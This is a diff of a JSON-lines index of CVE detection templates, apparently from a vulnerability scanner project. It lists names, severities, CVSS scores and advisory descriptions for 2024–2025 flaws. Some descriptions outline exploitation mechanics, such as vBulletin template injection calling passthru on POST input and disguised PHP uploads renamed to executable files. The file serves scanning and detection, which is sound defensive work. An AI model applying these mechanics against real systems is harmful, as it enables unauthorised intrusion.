 {"ID":"CVE-2024-35627","Info":{"Name":"TileServer API - Cross Site Scripting","Severity":"medium","Description":"tileserver-gl up to v4.4.10 was discovered to contain a cross-site scripting (XSS) vulnerability via the component /data/v3/?key.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2024/CVE-2024-35627.yaml"}
-{"ID":"CVE-2024-36104","Info":{"Name":"Apache OFBiz - Path Traversal","Severity":"critical","Description":"Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Apache OFBiz. This issue affects Apache OFBiz: before 18.12.14. Users are recommended to upgrade to version 18.12.14, which fixes the issue.\n","Classification":{"CVSSScore":"9.1"}},"file_path":"http/cves/2024/CVE-2024-36104.yaml"}
+{"ID":"CVE-2024-36104","Info":{"Name":"Apache OFBiz - Directory Traversal \u0026 Remote Code Execution","Severity":"critical","Description":"Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Apache OFBiz. This issue affects Apache OFBiz: before 18.12.14. Users are recommended to upgrade to version 18.12.14, which fixes the issue.\n","Classification":{"CVSSScore":"9.1"}},"file_path":"http/cves/2024/CVE-2024-36104.yaml"}
 {"ID":"CVE-2024-36117","Info":{"Name":"Reposilite \u003e= 3.3.0, \u003c 3.5.12 - Arbitrary File Read","Severity":"high","Description":"Reposilite is an open source, lightweight and easy-to-use repository manager for Maven based artifacts in JVM ecosystem. Reposilite v3.5.10 is affected by an Arbitrary File Read vulnerability via path traversal while serving expanded javadoc files. Reposilite has addressed this issue in version 3.5.12. There are no known workarounds for this vulnerability. This issue was discovered and reported by the GitHub Security lab and is also tracked as GHSL-2024-074.\n","Classification":{"CVSSScore":"8.6"}},"file_path":"http/cves/2024/CVE-2024-36117.yaml"}
 {"ID":"CVE-2024-36401","Info":{"Name":"GeoServer RCE in Evaluating Property Name Expressions","Severity":"critical","Description":"In the GeoServer version prior to 2.25.1, 2.24.3 and 2.23.5 of GeoServer, multiple OGC request parameters allow Remote Code Execution (RCE) by unauthenticated users through specially crafted input against a default GeoServer installation due to unsafely evaluating property names as XPath expressions.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-36401.yaml"}
 {"ID":"CVE-2024-36404","Info":{"Name":"GeoServer and GeoTools - Remote Code Execution","Severity":"critical","Description":"GeoTools is an open source Java library that provides tools for geospatial data. Prior to versions 31.2, 30.4, and 29.6, Remote Code Execution (RCE) is possible if an application uses certain GeoTools functionality to evaluate XPath expressions supplied by user input. Versions 31.2, 30.4, and 29.6 contain a fix for this issue. As a workaround, GeoTools can operate with reduced functionality by removing the `gt-complex` jar from one's application. As an example of the impact, application schema `datastore` would not function without the ability to use XPath expressions to query complex content. Alternatively, one may utilize a drop-in replacement GeoTools jar from SourceForge for versions 31.1, 30.3, 30.2, 29.2, 28.2, 27.5, 27.4, 26.7, 26.4, 25.2, and 24.0. These jars are for download only and are not available from maven central, intended to quickly provide a fix to affected applications.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-36404.yaml"}
@@ -2816,7 +2817,7 @@
 {"ID":"CVE-2024-38514","Info":{"Name":"NextChat - Server-Side Request Forgery","Severity":"high","Description":"NextChat v2.12.3 suffers from a Server-Side Request Forgery (SSRF) and Cross-Site Scripting vulnerability due to a lack of validation of the GET parameter on the WebDav API endpoint.\n","Classification":{"CVSSScore":"7.4"}},"file_path":"http/cves/2024/CVE-2024-38514.yaml"}
 {"ID":"CVE-2024-38653","Info":{"Name":"Ivanti Avalanche SmartDeviceServer - XML External Entity","Severity":"high","Description":"XXE in SmartDeviceServer in Ivanti Avalanche 6.3.1 allows a remote unauthenticated attacker to read arbitrary files on the server.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2024/CVE-2024-38653.yaml"}
 {"ID":"CVE-2024-38816","Info":{"Name":"WebMvc.fn/WebFlux.fn - Path Traversal","Severity":"high","Description":"Applications serving static resources through the functional web frameworks WebMvc.fn or WebFlux.fn are vulnerable to path traversal attacks. An attacker can craft malicious HTTP requests and obtain any file on the file system that is also accessible to the process in which the Spring application is running.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2024/CVE-2024-38816.yaml"}
-{"ID":"CVE-2024-38856","Info":{"Name":"Apache OFBiz - Remote Code Execution","Severity":"critical","Description":"Incorrect Authorization vulnerability in Apache OFBiz. This issue affects Apache OFBiz: through 18.12.14. Users are recommended to upgrade to version 18.12.15, which fixes the issue. Unauthenticated endpoints could allow execution of screen rendering code of screens if some preconditions are met (such as when the screen definitions don't explicitly check user's permissions because they rely on the configuration of their endpoints).\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-38856.yaml"}
+{"ID":"CVE-2024-38856","Info":{"Name":"Apache OFBiz - Improper Authorization \u0026 Remote Code Execution","Severity":"critical","Description":"Improper Authorization vulnerability in Apache OFBiz. This issue affects Apache OFBiz: through 18.12.14. Users are recommended to upgrade to version 18.12.15, which fixes the issue. Unauthenticated endpoints could allow execution of screen rendering code of screens if some preconditions are met (such as when the screen definitions don't explicitly check user's permissions because they rely on the configuration of their endpoints).\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-38856.yaml"}
 {"ID":"CVE-2024-3922","Info":{"Name":"Dokan Pro \u003c= 3.10.3 - SQL Injection","Severity":"critical","Description":"The Dokan Pro plugin for WordPress is vulnerable to SQL Injection via the 'code' parameter in all versions up to, and including, 3.10.3 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-3922.yaml"}
 {"ID":"CVE-2024-39250","Info":{"Name":"EfroTech Timetrax v8.3 - Sql Injection","Severity":"high","Description":"EfroTech Timetrax v8.3 was discovered to contain an unauthenticated SQL injection vulnerability via the q parameter in the search web interface.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-39250.yaml"}
 {"ID":"CVE-2024-39713","Info":{"Name":"Rocket.Chat - Server-Side Request Forgery (SSRF)","Severity":"high","Description":"A Server-Side Request Forgery (SSRF) affects Rocket.Chat's Twilio webhook endpoint before version 6.10.1.\n","Classification":{"CVSSScore":"8.6"}},"file_path":"http/cves/2024/CVE-2024-39713.yaml"}
@@ -3063,6 +3064,7 @@
 {"ID":"CVE-2025-24813","Info":{"Name":"Apache Tomcat Path Equivalence - Remote Code Execution","Severity":"critical","Description":"Path Equivalence- 'file.Name' (Internal Dot) leading to Remote Code Execution and/or Information disclosure and/or malicious content added to uploaded files via write enabled Default Servlet in Apache Tomcat.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-24813.yaml"}
 {"ID":"CVE-2025-24893","Info":{"Name":"XWiki Platform - Remote Code Execution","Severity":"critical","Description":"Any guest can perform arbitrary remote code execution through a request to SolrSearch. This impacts the confidentiality, integrity, and availability of the whole XWiki installation. This vulnerability has been patched in XWiki 15.10.11, 16.4.1, and 16.5.0RC1.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-24893.yaml"}
 {"ID":"CVE-2025-24963","Info":{"Name":"Vitest Browser Mode - Local File Read","Severity":"medium","Description":"Vitest is a testing framework powered by Vite. The `__screenshot-error` handler on the browser mode HTTP server that responds any file on the file system. Especially if the server is exposed on the network by `browser.api.host- true`, an attacker can send a request to that handler from remote to get the content of arbitrary files.This `__screenshot-error` handler on the browser mode HTTP server responds any file on the file system. This code was added by commit `2d62051`. Users explicitly exposing the browser mode server to the network by `browser.api.host- true` may get any files exposed. This issue has been addressed in versions 2.1.9 and 3.0.4. Users are advised to upgrade. There are no known workarounds for this vulnerability.\n","Classification":{"CVSSScore":"5.9"}},"file_path":"http/cves/2025/CVE-2025-24963.yaml"}
+{"ID":"CVE-2025-25257","Info":{"Name":"Fortinet FortiWeb - SQL Injection","Severity":"critical","Description":"An improper neutralization of special elements used in an SQL command ('SQL Injection') vulnerability [CWE-89] in FortiWeb may allow an unauthenticated attacker to execute unauthorized SQL code or commands via crafted HTTP or HTTPS requests.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-25257.yaml"}
 {"ID":"CVE-2025-2539","Info":{"Name":"File Away \u003c= 3.9.9.0.1 - Missing Authorization to Unauthenticated Arbitrary File Read","Severity":"high","Description":"The File Away plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the ajax() function in all versions up to, and including, 3.9.9.0.1. This makes it possible for unauthenticated attackers, leveraging the use of a reversible weak algorithm,  to read the contents of arbitrary files on the server, which can contain sensitive information.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-2539.yaml"}
 {"ID":"CVE-2025-2563","Info":{"Name":"User Registration \u0026 Membership \u003c= 4.1.1 - Unauthenticated Privilege Escalation","Severity":"critical","Description":"The User Registration \u0026 Membership plugin for WordPress is vulnerable to privilege escalation in versions up to, and including, 4.1.1. This is due to insufficient restrictions on role type in the 'prepare_members_data()' function. This makes it possible for unauthenticated attackers to create newuser accounts with the 'administrator' role, allowing complete control over the affected WordPress site.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-2563.yaml"}
 {"ID":"CVE-2025-2609","Info":{"Name":"MagnusBilling Login Logs - Cross-Site Scripting","Severity":"high","Description":"Improper neutralization of input during web page generation vulnerability in MagnusSolution MagnusBilling login logging allows unauthenticated users to store HTML content in the viewable log component accessible at /mbilling/index.php/logUsers/read\" cross-site scripting This vulnerability is associated with program files protected/components/MagnusLog.Php.This issue affects MagnusBilling- through 7.3.0.\n","Classification":{"CVSSScore":"8.2"}},"file_path":"http/cves/2025/CVE-2025-2609.yaml"}
@@ -3083,9 +3085,11 @@
 {"ID":"CVE-2025-2775","Info":{"Name":"SysAid On-Prem \u003c= 23.3.40 - XML External Entity","Severity":"critical","Description":"SysAid On-Prem versions \u003c= 23.3.40 are vulnerable to an unauthenticated XML External Entity (XXE) vulnerability in the Checkin processing functionality, allowing for administrator account takeover and file read primitives.\n","Classification":{"CVSSScore":"9.3"}},"file_path":"http/cves/2025/CVE-2025-2775.yaml"}
 {"ID":"CVE-2025-2776","Info":{"Name":"SysAid On-Prem \u003c= 23.3.40 - XML External Entity","Severity":"critical","Description":"SysAid On-Prem versions \u003c= 23.3.40 are vulnerable to an unauthenticated XML External Entity (XXE) vulnerability in the Server URL processing functionality, allowing for administrator account takeover and file read primitives.\n","Classification":{"CVSSScore":"9.3"}},"file_path":"http/cves/2025/CVE-2025-2776.yaml"}
 {"ID":"CVE-2025-2777","Info":{"Name":"SysAid On-Prem \u003c= 23.3.40 - XML External Entity","Severity":"critical","Description":"SysAid On-Prem versions \u003c= 23.3.40 are vulnerable to an unauthenticated XML External Entity (XXE) vulnerability in the lshw processing functionality, allowing for administrator account takeover and file read primitives.\n","Classification":{"CVSSScore":"9.3"}},"file_path":"http/cves/2025/CVE-2025-2777.yaml"}
+{"ID":"CVE-2025-27888","Info":{"Name":"Apache Druid - Server-Side Request Forgery","Severity":"high","Description":"Server-Side Request Forgery (SSRF), Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), URL Redirection to Untrusted Site ('Open Redirect') vulnerability in Apache Druid.This issue affects all previous Druid versions.When using the Druid management proxy, a request that has a specially crafted URL could be used to redirect the request to an arbitrary server instead. This has the potential for XSS or XSRF. The user is required to be authenticated for this exploit. The management proxy is enabled in Druid's out-of-box configuration. It may be disabled to mitigate this vulnerability. If the management proxy is disabled, some web console features will not work properly, but core functionality is unaffected.Users are recommended to upgrade to Druid 31.0.2 or Druid 32.0.1, which fixes the issue.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-27888.yaml"}
 {"ID":"CVE-2025-27892","Info":{"Name":"Shopware \u003c 6.5.8.13 - SQL Injection","Severity":"critical","Description":"The Shopware application API contains a search functionality which enables users to search through information stored within their Shopware instance. The searches performed by this function can be aggregated using the parameters in the \"aggregations\" object. The name field in this \"aggregations\" in nested object is vulnerable SQL-injection and can be exploited using SQL parameters.\n","Classification":{"CVSSScore":"6.8"}},"file_path":"http/cves/2025/CVE-2025-27892.yaml"}
 {"ID":"CVE-2025-28228","Info":{"Name":"Electrolink FM/DAB/TV Transmitter - Credentials Disclosure","Severity":"high","Description":"A credential exposure vulnerability in Electrolink 500W, 1kW, 2kW Medium DAB Transmitter Web v01.09, v01.08, v01.07, and Display v1.4, v1.2 allows unauthorized attackers to access credentials in plaintext.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-28228.yaml"}
 {"ID":"CVE-2025-28367","Info":{"Name":"mojoPortal \u003c=2.9.0.1 - Directory Traversal","Severity":"medium","Description":"mojoPortal \u003c=2.9.0.1 is vulnerable to Directory Traversal via BetterImageGallery API Controller - ImageHandler Action. An attacker can exploit this vulnerability to access the Web.Config file and obtain the MachineKey.\n","Classification":{"CVSSScore":"6.5"}},"file_path":"http/cves/2025/CVE-2025-28367.yaml"}
+{"ID":"CVE-2025-28906","Info":{"Name":"Skitter Slideshow \u003c= 2.5.2 - Authenticated (Administrator+) Stored Cross-Site Scripting","Severity":"medium","Description":"The Skitter Slideshow plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 2.5.2 due to insufficient input sanitization and output escaping.\n","Classification":{"CVSSScore":"5.9"}},"file_path":"http/cves/2025/CVE-2025-28906.yaml"}
 {"ID":"CVE-2025-2907","Info":{"Name":"Order Delivery Date Pro for WooCommerce \u003c 12.3.1 - Arbitrary Option Update","Severity":"critical","Description":"The Order Delivery Date WordPress plugin before 12.3.1 does not have authorization and CSRF checks when importing settings. Furthermore it also lacks proper checks to only update options relevant to the Order Delivery Date WordPress plugin before 12.3.1. This leads to attackers being able to modify the default_user_role to administrator and users_can_register, allowing them to register as an administrator of the site for complete site takeover.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-2907.yaml"}
 {"ID":"CVE-2025-29085","Info":{"Name":"Vipshop Saturn Console \u003c= 3.5.1 - SQL Injection via ClusterKey Component","Severity":"critical","Description":"SQL injection vulnerability in vipshop Saturn v.3.5.1 and before allows a remote attacker to execute arbitrary code via /console/dashboard/executorCount?zkClusterKey component.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-29085.yaml"}
 {"ID":"CVE-2025-29306","Info":{"Name":"FoxCMS v.1.2.5 - Remote Code Execution","Severity":"critical","Description":"An issue in FoxCMS v.1.2.5 allows a remote attacker to execute arbitrary code via the case display page in the index.html component.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-29306.yaml"}
@@ -3101,6 +3105,7 @@
 {"ID":"CVE-2025-31324","Info":{"Name":"SAP NetWeaver Visual Composer Metadata Uploader - Deserialization","Severity":"critical","Description":"SAP NetWeaver Visual Composer Metadata Uploader is not protected with a proper authorization, allowing unauthenticated agent to upload potentially malicious executable binaries that could severely harm the host system. This could significantly affect the confidentiality, integrity, and availability of the targeted system.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2025/CVE-2025-31324.yaml"}
 {"ID":"CVE-2025-31489","Info":{"Name":"MinIO - Incomplete Signature Validation for Unsigned-Trailer Uploads","Severity":"high","Description":"MinIO is a High Performance Object Storage released under GNU Affero General Public License v3.0. The signature component of the authorization may be invalid, which would mean that as a client you can use any arbitrary secret to upload objects given the user already has prior WRITE permissions on the bucket. Prior knowledge of access-key, and bucket name this user might have access\nto - and an access-key with a WRITE permissions is necessary. However with relevant information in place, uploading random objects to buckets is trivial and easy via curl.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-31489.yaml"}
 {"ID":"CVE-2025-32101","Info":{"Name":"UNA CMS \u003c= 14.0.0-RC4 - PHP Object Injection","Severity":"critical","Description":"The vulnerability is located in the /template/scripts/BxBaseMenuSetAclLevel.php script. Specifically, within the BxBaseMenuSetAclLevel::getCode() method. When calling this method, user input passed through the \"profile_id\" POST parameter is not properly sanitized before being used in a call to the unserialize() PHP function. This can be exploited by remote, unauthenticated attackers to inject arbitrary PHP objects into the application scope, allowing them to perform a variety of attacks, such as writing and executing arbitrary PHP code.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-32101.yaml"}
+{"ID":"CVE-2025-32430","Info":{"Name":"XWiki Platform - Cross-Site Scripting","Severity":"medium","Description":"XWiki Platform versions \u003e= 4.2-milestone-3 and \u003c 16.4.8, \u003e= 16.5.0-rc-1 and \u003c 16.10.6, and \u003e= 17.0.0-rc-1 and \u003c 17.3.0-rc-1 are vulnerable to reflected XSS in two templates. The vulnerability allows an attacker to execute malicious JavaScript code in the context of the victim's session by getting the victim to visit an attacker-controlled URL.\n","Classification":{"CVSSScore":"6.5"}},"file_path":"http/cves/2025/CVE-2025-32430.yaml"}
 {"ID":"CVE-2025-32432","Info":{"Name":"CraftCMS - Remote Code Execution","Severity":"critical","Description":"Craft is a flexible, user-friendly CMS for creating custom digital experiences on the web and beyond. Starting from version 3.0.0-RC1 to before 3.9.15, 4.0.0-RC1 to before 4.14.15, and 5.0.0-RC1 to before 5.6.17, Craft is vulnerable to remote code execution. This is a high-impact, low-complexity attack vector.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2025/CVE-2025-32432.yaml"}
 {"ID":"CVE-2025-3248","Info":{"Name":"Langflow AI - Unauthenticated Remote Code Execution","Severity":"critical","Description":"Langflow versions prior to 1.3.0 are susceptible to code injection in the /api/v1/validate/code endpoint.A remote and unauthenticated attacker can send crafted HTTP requests to execute arbitrary code.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-3248.yaml"}
 {"ID":"CVE-2025-32813","Info":{"Name":"Infoblox NetMRI \u003c 7.6.1 - Unauthenticated Command Injection in get_saml_request","Severity":"high","Description":"An issue was discovered in Infoblox NETMRI before 7.6.1. Remote Unauthenticated Command Injection can occur.\n","Classification":{"CVSSScore":"7.2"}},"file_path":"http/cves/2025/CVE-2025-32813.yaml"}
@@ -3112,6 +3117,7 @@
 {"ID":"CVE-2025-34031","Info":{"Name":"Moodle Jmol Filter 6.1 - Local File Inclusion","Severity":"high","Description":"Moodle Jmol Filter 6.1 is vulnerable to local file inclusion through the jsmol.php file, allowing attackers to read arbitrary files on the server.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-34031.yaml"}
 {"ID":"CVE-2025-34032","Info":{"Name":"Moodle LMS Jmol Plugin \u003c= 6.1 - Cross-Site Scripting","Severity":"medium","Description":"A reflected cross-site scripting (XSS) vulnerability exists in the Moodle LMS Jmol plugin version 6.1 and prior via the data parameter in jsmol.php. The application fails to properly sanitize user input before embedding it into the HTTP response, allowing an attacker to execute arbitrary JavaScript in the victim's browser by crafting a malicious link. This can be used to hijack user sessions or manipulate page content.\n","Classification":{"CVSSScore":"5.4"}},"file_path":"http/cves/2025/CVE-2025-34032.yaml"}
 {"ID":"CVE-2025-34040","Info":{"Name":"Zhiyuan OA Platform - Arbitrary File Upload","Severity":"critical","Description":"An arbitrary file upload vulnerability exists in the Zhiyuan OA platform 5.0, 5.1 - 5.6sp1, 6.0 - 6.1sp2, 7.0, 7.0sp1 - 7.1, 7.1sp1, and 8.0 - 8.0sp2 via the wpsAssistServlet interface. The realFileType and fileId parameters are improperly validated during multipart file uploads, allowing unauthenticated attackers to upload crafted JSP files outside of intended directories using path traversal. Successful exploitation enables remote code execution as the uploaded file can be accessed and executed through the web server.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-34040.yaml"}
+{"ID":"CVE-2025-34073","Info":{"Name":"Maltrail \u003c=0.54 Username Parameter -  Remote Command Execution","Severity":"critical","Description":"Maltrail versions \u003c=0.54. A remote attacker can execute arbitrary operating system commands via the username parameter in a POST request to the /login endpoint.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-34073.yaml"}
 {"ID":"CVE-2025-34077","Info":{"Name":"WordPress Pie Register \u003c= 3.7.1.4 - Authentication Bypass","Severity":"critical","Description":"An authentication bypass vulnerability exists in the WordPress Pie Register plugin ≤ 3.7.1.4 that allows unauthenticated attackers to impersonate arbitrary users by submitting a crafted POST request to the login endpoint. By setting social_site=true and manipulating the user_id_social_site parameter, an attacker can generate a valid WordPress session cookie for any user ID, including administrators.Once authenticated, the attacker may exploit plugin upload functionality to install a malicious plugin containing arbitrary PHP code, resulting in remote code execution on the underlying server.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-34077.yaml"}
 {"ID":"CVE-2025-34085","Info":{"Name":"WordPress Simple File List \u003c=4.2.2 - Remote Code Execution","Severity":"critical","Description":"An unrestricted file upload vulnerability in the WordPress Simple File List plugin before version 4.2.3 allows unauthenticated remote attackers to achieve remote code execution. The plugin's upload endpoint (ee-upload-engine.php) restricts file uploads based on extension, but lacks proper validation after file renaming. An attacker can first upload a PHP payload disguised as a .png file, then use the plugin’s ee-file-engine.php rename functionality to change the extension to .php. This bypasses upload restrictions and results in the uploaded payload being executable on the server.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-34085.yaml"}
 {"ID":"CVE-2025-34141","Info":{"Name":"ETQ Reliance - Reflected XSS via SQLConverterServlet","Severity":"medium","Description":"A reflected cross-site scripting (XSS) vulnerability exists in ETQ Reliance CG (legacy) platform within the SQLConverterServlet component. This vulnerability requires user interaction, such as clicking a crafted link, and may result in execution of unauthorized scripts in the user's context. The affected servlet was unnecessarily exposed to authenticated users and has since been disabled in version SE.2025.1.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2025/CVE-2025-34141.yaml"}
@@ -3125,6 +3131,7 @@
 {"ID":"CVE-2025-41393","Info":{"Name":"Ricoh Web Image Monitor - Reflected XSS","Severity":"medium","Description":"A reflected cross-site scripting vulnerability exists in the laser printers and MFPs (multifunction printers) which implement Ricoh Web Image Monitor. If exploited, an arbitrary script may be executed on the web browser of the user who accessed Web Image Monitor.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2025/CVE-2025-41393.yaml"}
 {"ID":"CVE-2025-41646","Info":{"Name":"RevPi Webstatus \u003c= v2.4.5 - Authentication Bypass","Severity":"critical","Description":"An unauthorized remote attacker can bypass the authentication of the affected software package by misusing an incorrect type conversion. This leads to full compromise of the device\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-41646.yaml"}
 {"ID":"CVE-2025-4322","Info":{"Name":"Motors \u003c= 5.6.67 - Unauthenticated Privilege Escalation via Password Update/Account Takeover","Severity":"critical","Description":"The Motors theme for WordPress is vulnerable to privilege escalation via account takeover in all versions up to, and including, 5.6.67. This is due to the theme not properly validating a user's identity prior to updating their password. This makes it possible for unauthenticated attackers to change arbitrary user passwords, including those of administrators, and leverage that to gain access to their account.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-4322.yaml"}
+{"ID":"CVE-2025-4334","Info":{"Name":"Simple User Registration \u003c= 6.3 - Unauthenticated Privilege Escalation","Severity":"critical","Description":"The Simple User Registration plugin ≤ 6.3 is vulnerable to privilege escalation. It lacks proper restrictions on user meta values during registration. Unauthenticated attackers can exploit this to register as administrators.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-4334.yaml"}
 {"ID":"CVE-2025-4380","Info":{"Name":"Ads Pro Plugin \u003c= 4.89 - Local File Inclusion","Severity":"critical","Description":"The Ads Pro Plugin - Multi-Purpose WordPress Advertising Manager plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 4.89 via the 'bsa_template' parameter of the `bsa_preview_callback` function. This makes it possible for unauthenticated attackers to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases .php files can can be uploaded and included, or already exist on the site.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-4380.yaml"}
 {"ID":"CVE-2025-4388","Info":{"Name":"Liferay Portal - Cross-Site Scripting","Severity":"medium","Description":"A reflected cross-site scripting (XSS) vulnerability in the Liferay Portal 7.4.0 through 7.4.3.131, and Liferay DXP 2024.Q4.0 through 2024.Q4.5, 2024.Q3.1 through 2024.Q3.13, 2024.Q2.0 through 2024.Q2.13, 2024.Q1.1 through 2024.Q1.12, 7.4 GA through update 92 allows an remote non-authenticated attacker to inject JavaScript into the modules/apps/marketplace/marketplace-app-manager-web.\n","Classification":{"CVSSScore":"6.5"}},"file_path":"http/cves/2025/CVE-2025-4388.yaml"}
 {"ID":"CVE-2025-4396","Info":{"Name":"Relevanssi \u003c= 4.24.4 (Free) - Unauthenticated SQL Injection","Severity":"high","Description":"The Relevanssi – A Better Search plugin for WordPress is vulnerable to time-based SQL Injection via the cats and tags query parameters in all versions up to, and including, 4.24.4 (Free) and \u003c= 2.27.4 (Premium) due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries to already existing queries that can be used to extract sensitive information from the database.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-4396.yaml"}
@@ -3143,6 +3150,7 @@
 {"ID":"CVE-2025-47916","Info":{"Name":"Invision Community \u003c=5.0.6 Unauthenticated RCE via Template Injection","Severity":"critical","Description":"Invision Community 5.0.0 before 5.0.7 allows remote code execution via crafted template strings to themeeditor.php. The issue lies within the themeeditor controller (/applications/core/modules/front/system/themeeditor.php), where a protected method named customCss can be invoked by unauthenticated users. This method passes the value of the content parameter to the Theme::makeProcessFunction() method, which is evaluated by the template engine. Accordingly, unauthenticated attackers can inject and execute arbitrary PHP code by providing crafted template strings.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2025/CVE-2025-47916.yaml"}
 {"ID":"CVE-2025-48827","Info":{"Name":"vBulletin 5.0.0-6.0.3 - Authentication Bypass","Severity":"critical","Description":"vBulletin 5.0.0 through 5.7.5 and 6.0.0 through 6.0.3 contain an authentication bypass caused by unauthenticated access to protected API controllers on PHP 8.1 or later, letting unauthenticated attackers invoke protected methods remotely.Starting from PHP 8.1, due to an internal adjustment to handling of ReflectionMethod::invoke() and similar methods, it now allows — by default — invocation of protected / private methods when using PHP's Reflection API.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-48827.yaml"}
 {"ID":"CVE-2025-48828","Info":{"Name":"vBulletin replaceAdTemplate - Remote Code Execution","Severity":"critical","Description":"vBulletin versions 5.0.0 through 6.0.3 contain a Remote Code Execution (RCE) vulnerability in the ajax/api/ad/replaceAdTemplate endpoint. This flaw arises from improper use of PHP's Reflection API, allowing unauthenticated attackers to invoke protected controller methods. By injecting a crafted \u003cvb:if\u003e conditional that executes arbitrary PHP code via passthru($_POST[\u003cparam\u003e]), and triggering it with a second request to ajax/render/ad_\u003clocation\u003e, attackers can run arbitrary commands on the server as the webserver user.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2025/CVE-2025-48828.yaml"}
+{"ID":"CVE-2025-48954","Info":{"Name":"Discourse OAuth Social Login - Cross-site Scripting","Severity":"high","Description":"Discourse versions prior to 3.5.0.beta6 contain a stored Cross-Site Scripting (XSS) vulnerability in the OAuth/social login functionality. The vulnerability is caused by lack of proper content security policy enforcement when processing social login failures,allowing remote attackers to inject and execute malicious scripts in users' browsers.\n","Classification":{"CVSSScore":"8.1"}},"file_path":"http/cves/2025/CVE-2025-48954.yaml"}
 {"ID":"CVE-2025-49029","Info":{"Name":"WordPress Custom Login And Signup Widget Plugin \u003c= 1.0 - Arbitrary Code Execution","Severity":"high","Description":"Improper Control of Generation of Code ('Code Injection') vulnerability in bitto.Kazi Custom Login And Signup Widget allows Code Injection.This issue affects Custom Login And Signup Widget: from n/a through 1.0\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-49029.yaml"}
 {"ID":"CVE-2025-49113","Info":{"Name":"Roundcube Webmail - Remote Code Execution","Severity":"critical","Description":"Roundcube Webmail before 1.5.10 and 1.6.x before 1.6.11 allows remote code execution by authenticated users because the _from parameter in a URL is not validated in program/actions/settings/upload.php, leading to PHP Object Deserialization.\n","Classification":{"CVSSScore":"9.9"}},"file_path":"http/cves/2025/CVE-2025-49113.yaml"}
 {"ID":"CVE-2025-49132","Info":{"Name":"Pterodactyl Panel - Remote Code Execution","Severity":"critical","Description":"Pterodactyl is a free, open-source game server management panel. Using the /locales/locale.json with the locale and namespace query parameters, a malicious actor is able to execute arbitrary code without being authenticated.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2025/CVE-2025-49132.yaml"}
@@ -3150,16 +3158,22 @@
 {"ID":"CVE-2025-5086","Info":{"Name":"Dassault Systèmes DELMIA Apriso (up to 2025) - Insecure Deserialization","Severity":"critical","Description":"A deserialization of untrusted data vulnerability affecting DELMIA Apriso from Release 2020 through Release 2025 could lead to a remote code execution.\n","Classification":{"CVSSScore":"9"}},"file_path":"http/cves/2025/CVE-2025-5086.yaml"}
 {"ID":"CVE-2025-52488","Info":{"Name":"DNN (DotNetNuke) - Unicode Path Normalization NTLM Hash Disclosure","Severity":"high","Description":"DNN (formerly DotNetNuke) is an open-source web content management platform (CMS) in the Microsoft ecosystem. In versions 6.0.0 to before 10.0.1, DNN.PLATFORM allows a specially crafted series of malicious interaction to potentially expose NTLM hashes to a third party SMB server. This issue has been patched in version 10.0.1.\n","Classification":{"CVSSScore":"8.6"}},"file_path":"http/cves/2025/CVE-2025-52488.yaml"}
